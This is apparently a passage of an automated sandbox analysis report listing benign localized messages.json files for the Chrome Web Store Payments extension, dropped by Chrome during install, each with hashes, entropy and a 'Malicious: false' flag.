Preview:	{.. "app_description": {.. "message": "Pla.anja u web-trgovini Chrome".. },.. "app_name": {.. "message": "Pla.anja u web-trgovini Chrome".. },.. "craw_app_unavailable": {.. "message": "Aplikacija trenuta.no nije dostupna.".. },.. "craw_connect_to_network": {.. "message": "Pove.ite se s mre.om.".. },.. "iap_unavailable": {.. "message": "Pla.anje u aplikaciji trenuta.no nije dostupno.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Prijavite se na Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	683
Entropy (8bit):	4.675370843321512
Encrypted:	false
SSDEEP:
MD5:	85609CF8623582A8376C206556ED2131
SHA1:	1E16EB70DB5E59BB684866FF3E3925C2DEF25A12
SHA-256:	32A249749F12ADB6A220BF9ADC272C7E5D9AD5497A38B0086D961E3ABA17FBC6
SHA-512:	27883430865D3CFA6EDFE8C6CE1442BD96150B5CE520CCF7D556A330CAA6392C712B47BD86F7350E174876BC681F6DEC94D1312402655B0AF90883A2899EC78B
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "Chrome Internetes .ruh.z Fizet.si rendszere".. },.. "app_name": {.. "message": "Chrome Internetes .ruh.z Fizet.si rendszere".. },.. "craw_app_unavailable": {.. "message": "Az alkalmaz.s jelenleg nem .rhet. el.".. },.. "craw_connect_to_network": {.. "message": "K.rj.k, csatlakozzon egy h.l.zathoz.".. },.. "iap_unavailable": {.. "message": "Az alkalmaz.son bel.li fizet.s jelenleg nem .rhet. el.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Jelentkezzen be a Chrome-ba.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	604
Entropy (8bit):	4.465685261172395
Encrypted:	false
SSDEEP:
MD5:	EAB2B946D1232AB98137E760954003AA
SHA1:	60BDC2937905B311D2C9844DF2D639D7AC9F7F67
SHA-256:	C6E8800450602DE0F39FE9F6854472383813FB454B08ABAE7E25A9167CE004C3
SHA-512:	970FEC9A9EF0BAF7F693C4C5977F3B47914579C5B5414FCE9DBB5E4574659A5BB9AD2DE0CC886B368F49C019785AF7D2D7FE82F71341F039EADC399ED776CA12
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "Pembayaran Chrome Webstore".. },.. "app_name": {.. "message": "Pembayaran Chrome Webstore".. },.. "craw_app_unavailable": {.. "message": "Aplikasi tidak tersedia saat ini.".. },.. "craw_connect_to_network": {.. "message": "Sambungkan ke jaringan.".. },.. "iap_unavailable": {.. "message": "Pembayaran Dalam Aplikasi saat ini tidak tersedia.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Harap masuk ke Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	603
Entropy (8bit):	4.479418964635223
Encrypted:	false
SSDEEP:
MD5:	A328EEF5E841E0C72D3CD7366899C5C8
SHA1:	2851ED658385804E87911643F5A4200B1FB26E13
SHA-256:	CD891C45F7586FB4A2514205A11F260E4A6D4482FA03D901909DD9F57BE0536D
SHA-512:	E47297896E981774EC3B59D41B89D6BA9333F6B4435EB9727D8645A46B10C7D408ADE06844871FA757382FBE7E645276449DB7B1B23BC59C9A71A5CB5A5ECC57
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "Pagamenti Chrome Web Store".. },.. "app_name": {.. "message": "Pagamenti Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "App al momento non disponibile.".. },.. "craw_connect_to_network": {.. "message": "Collegati a una rete.".. },.. "iap_unavailable": {.. "message": "La funzione Pagamenti In-App non . al momento disponibile.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Accedi a Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	697
Entropy (8bit):	5.20469020877498
Encrypted:	false
SSDEEP:
MD5:	9B3A5D473C3F2BBFAEECE94A07A940B8
SHA1:	61BACA342CF766BBA15C7B4D892A0E7DAC9405AA
SHA-256:	706312A4A2AEF3317223F141EB2B82685345B7EED444F16BB4DF3A272716DA1F
SHA-512:	94F6FEE9A11BD890AB8211C98D1CC142348961EBCF756F66477A3E3A76519804B70BE0AE4E551739F8AFE32D7ADE6EDE04EF6B9B9EED03E3A857E6058EEDD4C6
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "Chrome ........".. },.. "app_name": {.. "message": "Chrome ........".. },.. "craw_app_unavailable": {.. "message": ".................".. },.. "craw_connect_to_network": {.. "message": "................".. },.. "iap_unavailable": {.. "message": ".......................".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Chrome ............".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	631
Entropy (8bit):	5.160315577642469
Encrypted:	false
SSDEEP:
MD5:	9F6B4D82A70C74CA751E2EAE70FAB5CF
SHA1:	0534F125FFCE8222277CF2BE3401C59DAF9217F8
SHA-256:	D1467B8D037114403E8F4EFC52E88C4A7FEB96126BE4CFF883FEFF1084EF7E68
SHA-512:	ED9319830314385D09C06F62EE34186E8CA576C857981205E4468A28B3ACD2AB03384E77B866032C324ABDD97A56EFD08E2D6E0C79D563578B3EC52517819BD8
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "Chrome . ... ..".. },.. "app_name": {.. "message": "Chrome . ... ..".. },.. "craw_app_unavailable": {.. "message": ".. .. ... . .....".. },.. "craw_connect_to_network": {.. "message": "..... ......".. },.. "iap_unavailable": {.. "message": ".. .. ... ... . .....".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Chrome. .......".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	modified
Size (bytes):	665
Entropy (8bit):	4.66839186029557
Encrypted:	false
SSDEEP:
MD5:	4CA644F875606986A9898D04BDAE3EA5
SHA1:	722A10569E93975129D67FBDB75B537D9D622AD1
SHA-256:	7C311AB751D840D750C11553C083785813E079C1D464FE568A98C9E3EF3DB96C
SHA-512:	E575E3D0622F5BD4B6C0EE79128A1B1F1882195670139D1983F4377D847141B8FB8EBB8BCED82AF3A220ED07D3577AFBE085BADC0E9C7678292B80E3EC5D3444
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": ".Chrome. internetin.s parduotuv.s mok.jimo sistema".. },.. "app_name": {.. "message": ".Chrome. internetin.s parduotuv.s mok.jimo sistema".. },.. "craw_app_unavailable": {.. "message": "Programa .iuo metu negalima.".. },.. "craw_connect_to_network": {.. "message": "Prisijunkite prie tinklo.".. },.. "iap_unavailable": {.. "message": "Mok.jimai programoje .iuo metu negalimi.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Prisijunkite prie .Chrome..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	584
Entropy (8bit):	4.856464171821628
Encrypted:	false
SSDEEP:
MD5:	1D21ED2D46338636E24401F6E56E326F
SHA1:	24497EDB25724BC4A57823C5CD06F50DB9647DD4
SHA-256:	434A375C32B8A21C435511C551F740FD4D170EC528A8F4EFC3D798EA4A07B606
SHA-512:	10A870718CC6281EE09DE01900D303B06589D9281C5849D6105C6FCF58BFFA3855F29C6ECA3689FFE6EF304BABCF41C5700EE2D8AFE711D57CB711194366FA6A
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Lietotne pagaid\u0101m nav pieejama."},"craw_connect_to_network":{"message":"L\u016bdzu, izveidojiet savienojumu ar t\u012bklu."},"app_name":{"message":"Chrome interneta veikala maks\u0101jumu sist\u0113ma"},"app_description":{"message":"Chrome interneta veikala maks\u0101jumu sist\u0113ma"},"iap_unavailable":{"message":"Maks\u0101jumi lietotn\u0113s pa\u0161laik nav pieejami."},"please_sign_in":{"message":"L\u016bdzu, pierakstieties p\u0101rl\u016bk\u0101 Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\nb\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	501
Entropy (8bit):	4.804937629013952
Encrypted:	false
SSDEEP:
MD5:	8F0168B9A546D5A99FD8A262C975C80E
SHA1:	B0718071BD0B7251D4459E9C87DF50C14622FBD6
SHA-256:	F03FA7384DF79EBA6E0274D570996030F595A3BF6B781929DD9DB6593262E41F
SHA-512:	A1191CDC496DDD7470BDCFAF186BB9488767159E0CA6A6242D195FA3351704DC8F8BBD03DBEE57D37BBD897C9E8D14B7325FB37D58AC80DEC0F972FF893758B8
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Appen er utilgjengelig for \u00f8yeblikket."},"craw_connect_to_network":{"message":"Du m\u00e5 koble til et nettverk."},"app_name":{"message":"Chrome Nettmarked-betalinger"},"app_description":{"message":"Chrome Nettmarked-betalinger"},"iap_unavailable":{"message":"Betaling i app er ikke tilgjengelig for \u00f8yeblikket."},"please_sign_in":{"message":"Du m\u00e5 logge p\u00e5 Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	472
Entropy (8bit):	4.651254944398292
Encrypted:	false
SSDEEP:
MD5:	E7F74DCE7B6411E4E0D95E9252CF74FA
SHA1:	33CC6C73C5F8D0144C0260C2E5A9BD0DB3EF6477
SHA-256:	3564AEF46C01602B19CC29FD8A79676C543427EDE98206D0C91B33AF0CCF3977
SHA-512:	B0987002F8BC4F0B0AC41A87E90BA729464BF2F34D1CC413DD3837019F5F37FD46EB9E9FDABB97F5BDCB50768ABF808AF6E7C531CD7BCA477C71990D2F13335B
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"App momenteel niet beschikbaar."},"craw_connect_to_network":{"message":"Maak verbinding met een netwerk."},"app_name":{"message":"Betalingen via Chrome Web Store"},"app_description":{"message":"Betalingen via Chrome Web Store"},"iap_unavailable":{"message":"In-app-betalingen is momenteel niet beschikbaar."},"please_sign_in":{"message":"Log in bij Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	549
Entropy (8bit):	4.978056737225237
Encrypted:	false
SSDEEP:
MD5:	E16649D87E4CA6462192CF78EBE543EC
SHA1:	53097D592B13F3C1370366B25024EA72208B136A
SHA-256:	EB435F7460A63576CA1ECB51948E7A3AD5168D2F175AE2B5836D469672923D84
SHA-512:	6EC702CEC6E312CAC6F33109A57F7D83A3F073F2F9A9BD42DB0F91A36F87D800EEB978C69023B6A0E00B86ECE3E1024C269F89D038F0926619F40D075F6689DD
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Aplikacja jest obecnie niedost\u0119pna."},"craw_connect_to_network":{"message":"Po\u0142\u0105cz si\u0119 z sieci\u0105."},"app_name":{"message":"P\u0142atno\u015bci w sklepie Chrome Web Store"},"app_description":{"message":"P\u0142atno\u015bci w sklepie Chrome Web Store"},"iap_unavailable":{"message":"P\u0142atno\u015bci w ramach aplikacji s\u0105 teraz niedost\u0119pne."},"please_sign_in":{"message":"Zaloguj si\u0119 w Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	513
Entropy (8bit):	4.734605177119403
Encrypted:	false
SSDEEP:
MD5:	1F4BC8A5EFD59D61127ABEECD4B6CAE3
SHA1:	8647B4D2D643AE4F784ABDDC50D87A39AD02971A
SHA-256:	E1950CBBF056F068EA56160DDB318F3E6232BFBBE096D221C7CA6FCAACE2A8B9
SHA-512:	B58A95BBBC0A16B06826684198B481D2E15A7C760956721C3B538C62C902873A7856F328506457EE66311E45D7A16A4AAAC85B12853AA7EF09780189D28EB3DE
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Aplicativo indispon\u00edvel no momento."},"craw_connect_to_network":{"message":"Conecte-se a uma rede."},"app_name":{"message":"Pagamentos da Chrome Web Store"},"app_description":{"message":"Pagamentos da Chrome Web Store"},"iap_unavailable":{"message":"No momento, os Pagamentos no aplicativo n\u00e3o est\u00e3o dispon\u00edveis."},"please_sign_in":{"message":"Fa\u00e7a login no Google Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	503
Entropy (8bit):	4.742240430473613
Encrypted:	false
SSDEEP:
MD5:	D80ECE7E4B3741CD9CD29B89D006B864
SHA1:	8F0D587B78E36861ED00524ABF886FA20E14CAE4
SHA-256:	C8FF9ACAEA1D3B6F8483339CB40F66BC563CCA8DD87F2337F813C492B20F451B
SHA-512:	8A53D9618BBD1A62CD48501E5620932631C1B045612082D99429628D2BF4409AEE3FA695107E82037B5CB332111C456CF3A74235C66B61380CF1E382914F1088
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Aplica\u00e7\u00e3o atualmente indispon\u00edvel."},"craw_connect_to_network":{"message":"Ligue-se a uma rede."},"app_name":{"message":"Pagamentos via Chrome Web Store"},"app_description":{"message":"Pagamentos via Chrome Web Store"},"iap_unavailable":{"message":"Os Pagamentos na app est\u00e3o atualmente indispon\u00edveis."},"please_sign_in":{"message":"Inicie sess\u00e3o no Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	554
Entropy (8bit):	4.8596885592394505
Encrypted:	false
SSDEEP:
MD5:	D63E66B94A4EA2085D80E76209582FB1
SHA1:	4ECAC3EB64DD6253310A0776E6D42257FC290D77
SHA-256:	91A5AAD210C3E0241106E8821B3897EDEFEC9D85033C94DB2324FF3A5FDE5AC7
SHA-512:	09AC34CF286FD0730EED4F6DB3E2FD00A026D0F42DCC75AE49B045DDAD38DFA38B0FB7823ECAC8B0A9BC2A89F4EAF4BCE081779F2ECDF6CC39286045577DC5C9
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"\u00cen prezent, aplica\u021bia nu este disponibil\u0103."},"craw_connect_to_network":{"message":"Conecteaz\u0103-te la o re\u021bea."},"app_name":{"message":"Pl\u0103\u021bi prin Magazinul web Chrome"},"app_description":{"message":"Pl\u0103\u021bi prin Magazinul web Chrome"},"iap_unavailable":{"message":"Pl\u0103\u021bile \u00een aplica\u021bie nu sunt disponibile momentan."},"please_sign_in":{"message":"Conecteaz\u0103-te la Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	1165
Entropy (8bit):	4.224419823550506
Encrypted:	false
SSDEEP:
MD5:	22F9E62ABAD82C2190A839851245A495
SHA1:	E7F79BD875918F0D0799DB5F45FAC6297FB66AF7
SHA-256:	9FC1167626C97BCBFDAFF23C6033A44252F89A501AF1DF41C43CB3A994FEB09F
SHA-512:	F577F2F0C344C4E4050AF025A9FB9AC78CADF7FE177F63AB9863826A9808B7FBF5D3363E3B61D7A6DB083EF5EBAC5474D710347B701640AB9C229A3E5D1F0A48
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"\u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e."},"craw_connect_to_network":{"message":"\u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u0441\u044c \u043a \u0441\u0435\u0442\u0438."},"app_name":{"message":"\u041f\u043b\u0430\u0442\u0435\u0436\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u043c\u0430\u0433\u0430\u0437\u0438\u043d\u0430 Chrome"},"app_description":{"message":"\u041f\u043b\u0430\u0442\u0435\u0436\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u043c\u0430\u0433\u0430\u0437\u0438\u043d\u0430 Chrome"},"iap_unavailable":{"message":"\u041f\u043b\u0430\u0442\u0435\u0436\u0438 \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b."},"

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	548
Entropy (8bit):	4.850036636276313
Encrypted:	false
SSDEEP:
MD5:	4BBAA10FD00AADBBA3EF6E805E8E1A62
SHA1:	1991901BD6A20C4A7977F09DF30C0CFF0524C504
SHA-256:	906C4F7FDDE15DE4C841E7910BBF14D9175E894BCB244B56E8447A5ADFA5B7AB
SHA-512:	3490F8826E3DB0C8B4FE7B1866DA27F6585ADF52E74392A592A60A916E8A784FF7B92B3DE8985084546D663588369D9BB03FCB25196B7F9C6DF607BEB7DEF010
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Aplik\u00e1cia moment\u00e1lne nie je dostupn\u00e1."},"craw_connect_to_network":{"message":"Pripojte sa k sieti."},"app_name":{"message":"Platby Internetov\u00e9ho obchodu Chrome"},"app_description":{"message":"Platby Internetov\u00e9ho obchodu Chrome"},"iap_unavailable":{"message":"Platby v aplik\u00e1cii moment\u00e1lne nie s\u00fa k dispoz\u00edcii."},"please_sign_in":{"message":"Prihl\u00e1ste sa do prehliada\u010da Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	494
Entropy (8bit):	4.7695148367588285
Encrypted:	false
SSDEEP:
MD5:	F45DE58765A37FD095319D7DEB0F2FB6
SHA1:	B585A485C9BC1982EDF7AE0B9AC73A8E91D41CB5
SHA-256:	8366774AA582035BC7D949F4E28FAEC371C305D01404DF56FFF5A78B4F6ECDB7
SHA-512:	F86334E6E6F90961AD9C8E7DD1A4E923476249469180AC69D9DE59746FE26FAECB585898FC50310380F20CEB0971CA1EB7B55046DA75276840AEA6BAFF574E66
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Aplikacija trenutno ni na voljo."},"craw_connect_to_network":{"message":"Pove\u017eite se z omre\u017ejem."},"app_name":{"message":"Pla\u010dila v spletni trgovini Chrome"},"app_description":{"message":"Pla\u010dila v spletni trgovini Chrome"},"iap_unavailable":{"message":"Pla\u010dila v aplikacijah trenutno niso na voljo."},"please_sign_in":{"message":"Prijavite se v Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	4.2078334514915685
Encrypted:	false
SSDEEP:
MD5:	92C1FAC62EB7F92EC3794D4A141BEF32
SHA1:	2AFA41BF51BF9A1089B0B92A9D2DC74299B79813
SHA-256:	9DF154C93B02695AF1CC39F085D9D178EC6AF131A62C2AFC65F125F8F9A5B7AC
SHA-512:	D0709E4F586EAC03548A47D72156CF48D9B4EB9AF9ED8335DF75F541AE1B4172541647EC8BA081965647A9EAE10DB342F87558977BE6075B2D3CC5C3995ED6EE
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"\u0410\u043f\u043b\u0438\u043a\u0430\u0446\u0438\u0458\u0430 \u0458\u0435 \u0442\u0440\u0435\u043d\u0443\u0442\u043d\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430."},"craw_connect_to_network":{"message":"\u041f\u043e\u0432\u0435\u0436\u0438\u0442\u0435 \u0441\u0430 \u043c\u0440\u0435\u0436\u043e\u043c."},"app_name":{"message":"\u041f\u043b\u0430\u045b\u0430\u045a\u0430 \u0443 Chrome \u0432\u0435\u0431-\u043f\u0440\u043e\u0434\u0430\u0432\u043d\u0438\u0446\u0438"},"app_description":{"message":"\u041f\u043b\u0430\u045b\u0430\u045a\u0430 \u0443 Chrome \u0432\u0435\u0431-\u043f\u0440\u043e\u0434\u0430\u0432\u043d\u0438\u0446\u0438"},"iap_unavailable":{"message":"\u041f\u043b\u0430\u045b\u0430\u045a\u0430 \u0443 \u0430\u043f\u043b\u0438\u043a\u0430\u0446\u0438\u0458\u0438 \u0441\u0443 \u0442\u0440\u0435\u043d\u0443\u0442\u043d\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430."},"please_sign_in":{"message":"\u041f\u04

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	523
Entropy (8bit):	4.788896709100935
Encrypted:	false
SSDEEP:
MD5:	6E1BE9CEE29818E54E3D1C7D483DD6F7
SHA1:	B9DD926B60E225C5BE8A1DBB7EF3ACE422A204A9
SHA-256:	E348583D8C53F4A5DEC4551DA93785C17108466E427E06F84708AA383EA0E326
SHA-512:	3ADB32C0F098E064B774E7E7F615F54C44ADFB3BFC554B06A17048C6077C5885D42BD89F6733D64D65EA1785033B36B386EF0B6661FD539855484EA5A2900BB7
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Appen \u00e4r inte tillg\u00e4nglig f\u00f6r tillf\u00e4llet."},"craw_connect_to_network":{"message":"Anslut till ett n\u00e4tverk."},"app_name":{"message":"Betalning via Chrome Web Store"},"app_description":{"message":"Betalning via Chrome Web Store"},"iap_unavailable":{"message":"Betalning i appen \u00e4r inte tillg\u00e4ngligt f\u00f6r n\u00e4rvarande."},"please_sign_in":{"message":"Logga in i Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	1300
Entropy (8bit):	4.09652661599029
Encrypted:	false
SSDEEP:
MD5:	283D5177FB2FC7082967988E2683EC7C
SHA1:	DEDE43967F3CEF9D9325F140872A63BFCE2AA8C5
SHA-256:	E8D5820BDE31B66A7641068FDEDD1A5F20C1A783460B98887A670F38422099CF
SHA-512:	74413C00C58B7136038D4C41D5C7C79EC02A9830779ABB719D72536B74C5E338B1548A20290559FB3F4E2A938B728CF99041050DD1970848EE9A6590EB0AB3E4
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"\u0e44\u0e21\u0e48\u0e2a\u0e32\u0e21\u0e32\u0e23\u0e16\u0e43\u0e0a\u0e49\u0e07\u0e32\u0e19\u0e41\u0e2d\u0e1b\u0e44\u0e14\u0e49\u0e43\u0e19\u0e02\u0e13\u0e30\u0e19\u0e35\u0e49"},"craw_connect_to_network":{"message":"\u0e42\u0e1b\u0e23\u0e14\u0e40\u0e0a\u0e37\u0e48\u0e2d\u0e21\u0e15\u0e48\u0e2d\u0e01\u0e31\u0e1a\u0e40\u0e04\u0e23\u0e37\u0e2d\u0e02\u0e48\u0e32\u0e22"},"app_name":{"message":"\u0e23\u0e30\u0e1a\u0e1a\u0e0a\u0e33\u0e23\u0e30\u0e40\u0e07\u0e34\u0e19\u0e02\u0e2d\u0e07 Chrome \u0e40\u0e27\u0e47\u0e1a\u0e2a\u0e42\u0e15\u0e23\u0e4c"},"app_description":{"message":"\u0e23\u0e30\u0e1a\u0e1a\u0e0a\u0e33\u0e23\u0e30\u0e40\u0e07\u0e34\u0e19\u0e02\u0e2d\u0e07 Chrome \u0e40\u0e27\u0e47\u0e1a\u0e2a\u0e42\u0e15\u0e23\u0e4c"},"iap_unavailable":{"message":"\u0e23\u0e30\u0e1a\u0e1a\u0e0a\u0e33\u0e23\u0e30\u0e40\u0e07\u0e34\u0e19\u0e43\u0e19\u0e41\u0e2d\u0e1b\u0e1e\u0e25\u0e34\u0e40\u0e04\u0e0a\u0e31\u0e19\u0e44\u0e21\u0e48\u0e1e\u0e23\u0e49\u0e2d\u0e21\u0e4

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	572
Entropy (8bit):	4.93347615778905
Encrypted:	false
SSDEEP:
MD5:	1BF2AA4BB904B406C9C2B7DF769BB540
SHA1:	8D29C4B7A79AB0657747CA194D1934292A46D2A8
SHA-256:	0F2E8285BA3E2BDBA6B16435FB941B07159AACFAC80196AD5941B79AB52B712A
SHA-512:	0DF48AE0A518A940489E91D8A0D6E7E47A3153747358E06CD792BFA3D826F47FA1502268F602E7D7EDFC1C111AEB3FAF0E67F845986DDA77E2FC4B3336BCF46C
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Uygulama \u015fu anda kullan\u0131lam\u0131yor."},"craw_connect_to_network":{"message":"L\u00fctfen bir a\u011fa ba\u011flan\u0131n."},"app_name":{"message":"Chrome Web Ma\u011fazas\u0131 \u00d6demeleri"},"app_description":{"message":"Chrome Web Ma\u011fazas\u0131 \u00d6demeleri"},"iap_unavailable":{"message":"Uygulama \u0130\u00e7i \u00d6demeler \u015fu anda kullan\u0131lamaz."},"please_sign_in":{"message":"L\u00fctfen Chrome'da oturum a\u00e7\u0131n."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2264_1188307806\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	1088
Entropy (8bit):	4.268588181103308
Encrypted:	false
SSDEEP:
MD5:	FD1C9890679036E1AD914218753B1E8E
SHA1:	58160F7A0FC94110A2876223E406A517C8E2660B
SHA-256:	39D19CC3387FFCE13A8F11DAD72E2FCBB7CD1A4367EC699AD7C40D6F52ECE717
SHA-512:	03E81C398EE6A5DC65A40CA07E1A4CBEC2662D2C151A76C9ECB813587D672AC71311C39C5C5DA8A1AE78A3A6CE3938609D1365F7819424FC34289C7743DF00D2
Malicious:	false
Reputation:	unknown
